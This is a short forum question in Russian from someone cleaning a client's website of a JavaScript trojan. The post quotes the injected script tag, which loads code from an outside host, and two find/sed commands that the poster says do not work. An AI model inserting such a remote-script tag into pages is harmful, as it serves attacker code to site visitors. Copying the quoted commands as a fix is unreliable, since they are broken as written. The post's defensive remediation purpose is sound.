Привет! Я пытаюсь очистить сайт от js-трояна для клиента, он добавил:
<script src='http://nt02.co.in/3'></script>
ко всем html-страницам.
Поскольку его слишком многофайлы для ручной очистки я попытался найти вот так:
find ./ -type f -exec sed -e "s\<script src='http://nt02.co.in/3'></script>\ \g" {} > {} \;
Проблема в том, что вы не можете выводить на вход с помощью sed.Поэтому я попытался сделать что-то вроде:
find ./ -type f ! -iname "*.new" -exec sed -e "s\<script src='http://nt02.co.in/3'></script>\ \g" {} > {}.new \;
тоже не сработало, выдает файл с именем "{} .new" ...
Anyсоветы о том, как сделать это правильно?Или другое решение о том, как это убрать?